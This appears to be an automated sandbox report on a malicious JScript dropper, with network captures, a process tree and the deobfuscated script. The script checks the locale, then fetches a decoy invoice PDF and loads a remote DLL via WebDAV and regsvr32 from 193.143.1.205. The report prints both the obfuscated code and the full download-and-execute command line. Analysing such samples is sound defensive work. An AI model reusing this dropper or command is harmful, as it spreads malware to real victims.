Jan 11, 2025 06:37:44.946012974 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:37:44.946027040 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:37:44.946043015 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:37:44.946057081 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 06:37:44.950994968 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6512	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:37:46.792531967 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:37:47.578845978 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:37:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:37:39
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js"
Imagebase:	0x7ff612790000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:37:40
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll
Imagebase:	0x7ff641620000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:37:40
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:37:40
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:37:45
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:37:45
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff641620000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:37:45
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a75f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:37:46
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:37:46
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:37:46
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1732,i,6973997051759037441,4806411835877973585,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function khlqcskiu() {	khlqcskiu() ➔ undefined
1	tsixyiph = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var vehlxbfa = this[puglhds + bsygor + nrwad + jqiwbseol + tkppnwb + kjcqt + wibqcw + fffnpbqqm] ( this[itvxpsab + yjdztcb + qaethsxa + nrwad + cezew + puglhds + fffnpbqqm][wizeewa + nrwad + tkppnwb + bsygor + fffnpbqqm + tkppnwb + ybkjq + srtzbde + esjbe + tkppnwb + qaethsxa + fffnpbqqm] ( itvxpsab + yjdztcb + qaethsxa + nrwad + cezew + puglhds + fffnpbqqm + hvfszhlc + yjdztcb + snjgplsp + tkppnwb + cxtkwjzho + cxtkwjzho ) [qlwyyeqpu + tkppnwb + ixdlhslf + qlwyyeqpu + tkppnwb + bsygor + dmvdqgwp] ( abvakrmic + ebzoa + nyqoda + dderplmrr + gcurtfei + wizeewa + vzqfgaiy + qlwyyeqpu + qlwyyeqpu + nyqoda + jntnbzho + gcejijd + gcurtfei + vzqfgaiy + yjdztcb + nyqoda + qlwyyeqpu + klaqdt + wizeewa + fpadmr + wibqcw + fffnpbqqm + nrwad + fpadmr + cxtkwjzho + nvwvgxm + gnpit + bsygor + wibqcw + tkppnwb + cxtkwjzho + klaqdt + kjcqt + wibqcw + fffnpbqqm + tkppnwb + nrwad + wibqcw + bsygor + fffnpbqqm + cezew + fpadmr + wibqcw + bsygor + cxtkwjzho + klaqdt + xfaqcuwx + fpadmr + qaethsxa + bsygor + cxtkwjzho + tkppnwb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( kqwab = 0 ; kqwab < tsixyiph[cxtkwjzho + tkppnwb + wibqcw + ixdlhslf + fffnpbqqm + snjgplsp] ; ++ kqwab )
4	{
5	if ( vehlxbfa == tsixyiph[kqwab] )
6	{
7	vehlxbfa = true;
8	break ;
9	}
10	}
11	if ( vehlxbfa !== true )
12	this[itvxpsab + yjdztcb + qaethsxa + nrwad + cezew + puglhds + fffnpbqqm][aqkljboa + npywgu + cezew + fffnpbqqm] ( );
13	this[itvxpsab + yjdztcb + qaethsxa + nrwad + cezew + puglhds + fffnpbqqm][wizeewa + nrwad + tkppnwb + bsygor + fffnpbqqm + tkppnwb + ybkjq + srtzbde + esjbe + tkppnwb + qaethsxa + fffnpbqqm] ( itvxpsab + yjdztcb + qaethsxa + nrwad + cezew + puglhds + fffnpbqqm + hvfszhlc + yjdztcb + snjgplsp + tkppnwb + cxtkwjzho + cxtkwjzho ) [nrwad + npywgu + wibqcw] ( qaethsxa + mabii + dmvdqgwp + nvwvgxm + woajxrv + qaethsxa + nvwvgxm + puglhds + fpadmr + elsls + tkppnwb + nrwad + jqiwbseol + snjgplsp + tkppnwb + cxtkwjzho + cxtkwjzho + hvfszhlc + tkppnwb + wokdt + tkppnwb + nvwvgxm + ljlqkren + wizeewa + fpadmr + mabii + mabii + bsygor + wibqcw + dmvdqgwp + nvwvgxm + yvwxa + kjcqt + wibqcw + cflzwkcd + fpadmr + sitdnk + tkppnwb + ljlqkren + itvxpsab + tkppnwb + srtzbde + qlwyyeqpu + tkppnwb + perrktlng + npywgu + tkppnwb + jqiwbseol + fffnpbqqm + nvwvgxm + ljlqkren + ybkjq + npywgu + fffnpbqqm + yxiamondn + cezew + cxtkwjzho + tkppnwb + nvwvgxm + hksyue + fffnpbqqm + tkppnwb + mabii + puglhds + hksyue + klaqdt + cezew + wibqcw + cflzwkcd + fpadmr + cezew + qaethsxa + tkppnwb + hvfszhlc + puglhds + dmvdqgwp + kfivhib + nvwvgxm + snjgplsp + fffnpbqqm + fffnpbqqm + puglhds + oralxtyfz + woajxrv + woajxrv + uhqxufa + xlitcnxds + bhrif + hvfszhlc + uhqxufa + njosssyy + bhrif + hvfszhlc + uhqxufa + hvfszhlc + pfkxoy + wcabs + khtww + woajxrv + cezew + wibqcw + cflzwkcd + fpadmr + cezew + qaethsxa + tkppnwb + hvfszhlc + puglhds + snjgplsp + puglhds + yvwxa + vuiokkw + vuiokkw + jqiwbseol + fffnpbqqm + bsygor + nrwad + fffnpbqqm + nvwvgxm + hksyue + fffnpbqqm + tkppnwb + mabii + puglhds + hksyue + klaqdt + cezew + wibqcw + cflzwkcd + fpadmr + cezew + qaethsxa + tkppnwb + hvfszhlc + puglhds + dmvdqgwp + kfivhib + vuiokkw + vuiokkw + qaethsxa + mabii + dmvdqgwp + nvwvgxm + woajxrv + qaethsxa + nvwvgxm + wibqcw + tkppnwb + fffnpbqqm + nvwvgxm + npywgu + jqiwbseol + tkppnwb + nvwvgxm + klaqdt + klaqdt + uhqxufa + xlitcnxds + bhrif + hvfszhlc + uhqxufa + njosssyy + bhrif + hvfszhlc + uhqxufa + hvfszhlc + pfkxoy + wcabs + khtww + kcyanen + jjfiwqgo + jjfiwqgo + jjfiwqgo + jjfiwqgo + klaqdt + dmvdqgwp + bsygor + cflzwkcd + elsls + elsls + elsls + nrwad + fpadmr + fpadmr + fffnpbqqm + klaqdt + vuiokkw + vuiokkw + qaethsxa + mabii + dmvdqgwp + nvwvgxm + woajxrv + qaethsxa + nvwvgxm + nrwad + tkppnwb + ixdlhslf + jqiwbseol + cflzwkcd + nrwad + bhrif + pfkxoy + nvwvgxm + woajxrv + jqiwbseol + nvwvgxm + klaqdt + klaqdt + uhqxufa + xlitcnxds + bhrif + hvfszhlc + uhqxufa + njosssyy + bhrif + hvfszhlc + uhqxufa + hvfszhlc + pfkxoy + wcabs + khtww + kcyanen + jjfiwqgo + jjfiwqgo + jjfiwqgo + jjfiwqgo + klaqdt + dmvdqgwp + bsygor + cflzwkcd + elsls + elsls + elsls + nrwad + fpadmr + fpadmr + fffnpbqqm + klaqdt + pfkxoy + bhrif + xlitcnxds + pepszsrsr + pfkxoy + xlitcnxds + xlitcnxds + uhqxufa + sjrjq + khtww + sjrjq + bhrif + bhrif + hvfszhlc + dmvdqgwp + cxtkwjzho + cxtkwjzho, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll",0,false) ➔ 0
14	}
15	npywgu = "W";
16	npywgu = "w";
17	npywgu = "F";
18	npywgu = "v";
19	npywgu = "M";
20	npywgu = "U";
21	npywgu = "V";
22	npywgu = "n";
23	npywgu = "A";
24	npywgu = "w";
25	npywgu = "l";
26	npywgu = "j";
27	npywgu = "a";
28	npywgu = "y";
29	npywgu = "p";
30	npywgu = "J";
31	npywgu = "D";
32	npywgu = "W";
33	npywgu = "O";
34	npywgu = "d";
35	npywgu = "L";
36	npywgu = "u";
37	fffnpbqqm = "z";
38	fffnpbqqm = "t";
39	fffnpbqqm = "n";
40	fffnpbqqm = "G";
41	fffnpbqqm = "n";
42	fffnpbqqm = "M";
43	fffnpbqqm = "b";
44	fffnpbqqm = "c";
45	fffnpbqqm = "t";
46	fffnpbqqm = "D";
47	fffnpbqqm = "L";
48	fffnpbqqm = "v";
49	fffnpbqqm = "K";
50	fffnpbqqm = "D";
51	fffnpbqqm = "d";
52	fffnpbqqm = "c";
53	fffnpbqqm = "G";
54	fffnpbqqm = "s";
55	fffnpbqqm = "U";
56	fffnpbqqm = "S";
57	fffnpbqqm = "v";
58	fffnpbqqm = "X";
59	fffnpbqqm = "m";
60	fffnpbqqm = "T";
61	fffnpbqqm = "g";
62	fffnpbqqm = "Y";
63	fffnpbqqm = "F";
64	fffnpbqqm = "t";
65	wibqcw = "L";
66	wibqcw = "Z";
67	wibqcw = "U";
68	wibqcw = "r";
69	wibqcw = "O";
70	wibqcw = "V";
71	wibqcw = "B";
72	wibqcw = "j";
73	wibqcw = "X";
74	wibqcw = "K";
75	wibqcw = "N";
76	wibqcw = "z";
77	wibqcw = "s";
78	wibqcw = "Y";
79	wibqcw = "B";
80	wibqcw = "x";
81	wibqcw = "q";
82	wibqcw = "e";
83	wibqcw = "c";
84	wibqcw = "i";
85	wibqcw = "U";
86	wibqcw = "Y";
87	wibqcw = "n";
88	bhrif = "3";
89	ljlqkren = "Q";
90	ljlqkren = "x";
91	ljlqkren = "r";
92	ljlqkren = "d";
93	ljlqkren = "m";
94	ljlqkren = "Z";
95	ljlqkren = "I";
96	ljlqkren = "B";
97	ljlqkren = "H";
98	ljlqkren = "y";
99	ljlqkren = "f";
100	ljlqkren = "V";
101	ljlqkren = "n";
102	ljlqkren = "U";
103	ljlqkren = "h";
104	ljlqkren = "-";
105	jntnbzho = "N";
106	jntnbzho = "d";
107	jntnbzho = "O";
108	jntnbzho = "r";
109	jntnbzho = "N";
110	ybkjq = "h";
111	ybkjq = "K";
112	ybkjq = "H";
113	ybkjq = "m";
114	ybkjq = "y";
115	ybkjq = "k";
116	ybkjq = "M";
117	ybkjq = "h";
118	ybkjq = "h";
119	ybkjq = "o";
120	ybkjq = "b";
121	ybkjq = "Y";
122	ybkjq = "a";
123	ybkjq = "i";
124	ybkjq = "x";
125	ybkjq = "R";
126	ybkjq = "s";
127	ybkjq = "Q";
128	ybkjq = "S";
129	ybkjq = "F";
130	ybkjq = "o";
131	ybkjq = "B";
132	ybkjq = "m";
133	ybkjq = "p";
134	ybkjq = "V";
135	ybkjq = "x";
136	ybkjq = "L";
137	ybkjq = "U";
138	ybkjq = "z";
139	ybkjq = "c";
140	ybkjq = "C";
141	ybkjq = "v";
142	ybkjq = "k";
143	ybkjq = "Y";
144	ybkjq = "S";
145	ybkjq = "j";
146	ybkjq = "e";
147	ybkjq = "h";
148	ybkjq = "v";
149	ybkjq = "O";
150	tkppnwb = "Q";
151	tkppnwb = "l";
152	tkppnwb = "v";
153	tkppnwb = "m";
154	tkppnwb = "J";
155	tkppnwb = "B";
156	tkppnwb = "j";
157	tkppnwb = "G";
158	tkppnwb = "e";
159	tkppnwb = "O";
160	tkppnwb = "N";
161	tkppnwb = "p";
162	tkppnwb = "N";
163	tkppnwb = "e";
164	nvwvgxm = "a";
165	nvwvgxm = "K";
166	nvwvgxm = "S";
167	nvwvgxm = "a";
168	nvwvgxm = "d";
169	nvwvgxm = "T";
170	nvwvgxm = "Q";
171	nvwvgxm = "f";
172	nvwvgxm = "n";
173	nvwvgxm = "k";
174	nvwvgxm = "V";
175	nvwvgxm = "y";
176	nvwvgxm = "r";
177	nvwvgxm = "x";
178	nvwvgxm = "T";
179	nvwvgxm = "d";
180	nvwvgxm = "N";
181	nvwvgxm = "T";
182	nvwvgxm = "J";
183	nvwvgxm = "z";
184	nvwvgxm = "m";
185	nvwvgxm = "U";
186	nvwvgxm = "a";
187	nvwvgxm = "N";
188	nvwvgxm = "e";
189	nvwvgxm = "A";
190	nvwvgxm = "Q";
191	nvwvgxm = "H";
192	nvwvgxm = "z";
193	nvwvgxm = "V";
194	nvwvgxm = "E";
195	nvwvgxm = "l";
196	nvwvgxm = "L";
197	nvwvgxm = "L";
198	nvwvgxm = "a";
199	nvwvgxm = " ";
200	gcurtfei = "e";
201	gcurtfei = "e";
202	gcurtfei = "Q";
203	gcurtfei = "h";
204	gcurtfei = "X";
205	gcurtfei = "L";
206	gcurtfei = "_";
207	pepszsrsr = "V";
208	pepszsrsr = "p";
209	pepszsrsr = "q";
210	pepszsrsr = "E";
211	pepszsrsr = "X";
212	pepszsrsr = "n";
213	pepszsrsr = "k";
214	pepszsrsr = "z";
215	pepszsrsr = "n";
216	pepszsrsr = "j";
217	pepszsrsr = "N";
218	pepszsrsr = "Y";
219	pepszsrsr = "f";
220	pepszsrsr = "J";
221	pepszsrsr = "a";
222	pepszsrsr = "p";
223	pepszsrsr = "6";
224	dmvdqgwp = "W";
225	dmvdqgwp = "B";
226	dmvdqgwp = "F";
227	dmvdqgwp = "q";
228	dmvdqgwp = "J";
229	dmvdqgwp = "I";
230	dmvdqgwp = "S";
231	dmvdqgwp = "o";
232	dmvdqgwp = "W";
233	dmvdqgwp = "S";
234	dmvdqgwp = "T";
235	dmvdqgwp = "a";
236	dmvdqgwp = "W";
237	dmvdqgwp = "a";
238	dmvdqgwp = "X";
239	dmvdqgwp = "l";
240	dmvdqgwp = "K";
241	dmvdqgwp = "Q";
242	dmvdqgwp = "k";
243	dmvdqgwp = "W";
244	dmvdqgwp = "o";
245	dmvdqgwp = "u";
246	dmvdqgwp = "L";
247	dmvdqgwp = "Z";
248	dmvdqgwp = "o";
249	dmvdqgwp = "e";
250	dmvdqgwp = "t";
251	dmvdqgwp = "d";
252	khtww = "f";
253	khtww = "X";
254	khtww = "D";
255	khtww = "g";
256	khtww = "X";
257	khtww = "R";
258	khtww = "I";
259	khtww = "K";
260	khtww = "V";
261	khtww = "j";
262	khtww = "L";
263	khtww = "P";
264	khtww = "M";
265	khtww = "b";
266	khtww = "m";
267	khtww = "J";
268	khtww = "C";
269	khtww = "c";
270	khtww = "a";
271	khtww = "m";
272	khtww = "H";
273	khtww = "K";
274	khtww = "u";
275	khtww = "W";
276	khtww = "5";
277	vzqfgaiy = "z";
278	vzqfgaiy = "H";
279	vzqfgaiy = "e";
280	vzqfgaiy = "b";
281	vzqfgaiy = "M";
282	vzqfgaiy = "i";
283	vzqfgaiy = "K";
284	vzqfgaiy = "u";
285	vzqfgaiy = "E";
286	vzqfgaiy = "M";
287	vzqfgaiy = "S";
288	vzqfgaiy = "w";
289	vzqfgaiy = "Y";
290	vzqfgaiy = "D";
291	vzqfgaiy = "e";
292	vzqfgaiy = "y";
293	vzqfgaiy = "c";
294	vzqfgaiy = "g";
295	vzqfgaiy = "N";
296	vzqfgaiy = "f";
297	vzqfgaiy = "U";
298	jjfiwqgo = "t";
299	jjfiwqgo = "T";
300	jjfiwqgo = "h";
301	jjfiwqgo = "t";
302	jjfiwqgo = "x";
303	jjfiwqgo = "n";
304	jjfiwqgo = "M";
305	jjfiwqgo = "d";
306	jjfiwqgo = "B";
307	jjfiwqgo = "e";
308	jjfiwqgo = "O";
309	jjfiwqgo = "s";
310	jjfiwqgo = "S";
311	jjfiwqgo = "r";
312	jjfiwqgo = "A";
313	jjfiwqgo = "p";
314	jjfiwqgo = "f";
315	jjfiwqgo = "u";
316	jjfiwqgo = "G";
317	jjfiwqgo = "H";
318	jjfiwqgo = "o";
319	jjfiwqgo = "l";
320	jjfiwqgo = "c";
321	jjfiwqgo = "W";
322	jjfiwqgo = "h";
323	jjfiwqgo = "I";
324	jjfiwqgo = "A";
325	jjfiwqgo = "x";
326	jjfiwqgo = "T";
327	jjfiwqgo = "N";
328	jjfiwqgo = "H";
329	jjfiwqgo = "d";
330	jjfiwqgo = "r";
331	jjfiwqgo = "8";
332	abvakrmic = "m";
333	abvakrmic = "S";
334	abvakrmic = "f";
335	abvakrmic = "C";
336	abvakrmic = "m";
337	abvakrmic = "H";
338	abvakrmic = "A";
339	abvakrmic = "u";
340	abvakrmic = "G";
341	abvakrmic = "M";
342	abvakrmic = "j";
343	abvakrmic = "j";
344	abvakrmic = "W";
345	abvakrmic = "I";
346	abvakrmic = "t";
347	abvakrmic = "E";
348	abvakrmic = "k";
349	abvakrmic = "r";
350	abvakrmic = "K";
351	abvakrmic = "Y";
352	abvakrmic = "N";
353	abvakrmic = "c";
354	abvakrmic = "M";
355	abvakrmic = "v";
356	abvakrmic = "a";
357	abvakrmic = "B";
358	abvakrmic = "z";
359	abvakrmic = "L";
360	abvakrmic = "i";
361	abvakrmic = "G";
362	abvakrmic = "t";
363	abvakrmic = "Y";
364	abvakrmic = "G";
365	abvakrmic = "d";
366	abvakrmic = "t";
367	abvakrmic = "l";
368	abvakrmic = "i";
369	abvakrmic = "H";
370	gcejijd = "y";
371	gcejijd = "N";
372	gcejijd = "V";
373	gcejijd = "D";
374	gcejijd = "z";
375	gcejijd = "y";
376	gcejijd = "S";
377	gcejijd = "Q";
378	gcejijd = "C";
379	gcejijd = "F";
380	gcejijd = "d";
381	gcejijd = "s";
382	gcejijd = "c";
383	gcejijd = "w";
384	gcejijd = "k";
385	gcejijd = "F";
386	gcejijd = "Y";
387	gcejijd = "q";
388	gcejijd = "Q";
389	gcejijd = "n";
390	gcejijd = "u";
391	gcejijd = "H";
392	gcejijd = "J";
393	gcejijd = "g";
394	gcejijd = "J";
395	gcejijd = "M";
396	gcejijd = "Z";
397	gcejijd = "b";
398	gcejijd = "t";
399	gcejijd = "y";
400	gcejijd = "T";
401	vuiokkw = "u";
402	vuiokkw = "t";
403	vuiokkw = "w";
404	vuiokkw = "m";
405	vuiokkw = "a";
406	vuiokkw = "D";
407	vuiokkw = "h";
408	vuiokkw = "x";
409	vuiokkw = "F";
410	vuiokkw = "Z";
411	vuiokkw = "Q";
412	vuiokkw = "F";
413	vuiokkw = "B";
414	vuiokkw = "&";
415	nrwad = "S";
416	nrwad = "M";
417	nrwad = "D";
418	nrwad = "I";
419	nrwad = "U";
420	nrwad = "X";
421	nrwad = "A";
422	nrwad = "k";
423	nrwad = "h";
424	nrwad = "s";
425	nrwad = "y";
426	nrwad = "q";
427	nrwad = "r";
428	aqkljboa = "j";
429	aqkljboa = "k";
430	aqkljboa = "n";
431	aqkljboa = "t";
432	aqkljboa = "e";
433	aqkljboa = "Q";
434	hksyue = "K";
435	hksyue = "r";
436	hksyue = "V";
437	hksyue = "M";
438	hksyue = "P";
439	hksyue = "C";
440	hksyue = "Q";
441	hksyue = "M";
442	hksyue = "M";
443	hksyue = "Z";
444	hksyue = "t";
445	hksyue = "x";
446	hksyue = "L";
447	hksyue = "A";
448	hksyue = "j";
449	hksyue = "X";
450	hksyue = "y";
451	hksyue = "W";
452	hksyue = "H";
453	hksyue = "E";
454	hksyue = "P";
455	hksyue = "v";
456	hksyue = "%";
457	cezew = "i";
458	cezew = "c";
459	cezew = "t";
460	cezew = "K";
461	cezew = "f";
462	cezew = "h";
463	cezew = "i";
464	pfkxoy = "o";
465	pfkxoy = "i";
466	pfkxoy = "A";
467	pfkxoy = "I";
468	pfkxoy = "Q";
469	pfkxoy = "r";
470	pfkxoy = "Q";
471	pfkxoy = "Z";
472	pfkxoy = "x";
473	pfkxoy = "o";
474	pfkxoy = "u";
475	pfkxoy = "G";
476	pfkxoy = "g";
477	pfkxoy = "x";
478	pfkxoy = "Z";
479	pfkxoy = "K";
480	pfkxoy = "d";
481	pfkxoy = "w";
482	pfkxoy = "v";
483	pfkxoy = "y";
484	pfkxoy = "l";
485	pfkxoy = "R";
486	pfkxoy = "W";
487	pfkxoy = "w";
488	pfkxoy = "F";
489	pfkxoy = "A";
490	pfkxoy = "t";
491	pfkxoy = "C";
492	pfkxoy = "e";
493	pfkxoy = "I";
494	pfkxoy = "C";
495	pfkxoy = "2";
496	xfaqcuwx = "I";
497	xfaqcuwx = "p";
498	xfaqcuwx = "H";
499	xfaqcuwx = "L";
500	xfaqcuwx = "v";
501	xfaqcuwx = "t";
502	xfaqcuwx = "t";
503	xfaqcuwx = "V";
504	xfaqcuwx = "v";
505	xfaqcuwx = "x";
506	xfaqcuwx = "i";
507	xfaqcuwx = "p";
508	xfaqcuwx = "r";
509	xfaqcuwx = "V";
510	xfaqcuwx = "K";
511	xfaqcuwx = "i";
512	xfaqcuwx = "j";
513	xfaqcuwx = "f";
514	xfaqcuwx = "T";
515	xfaqcuwx = "U";
516	xfaqcuwx = "g";
517	xfaqcuwx = "j";
518	xfaqcuwx = "c";
519	xfaqcuwx = "V";
520	xfaqcuwx = "L";
521	perrktlng = "n";
522	perrktlng = "H";
523	perrktlng = "r";
524	perrktlng = "K";
525	perrktlng = "D";
526	perrktlng = "W";
527	perrktlng = "S";
528	perrktlng = "d";
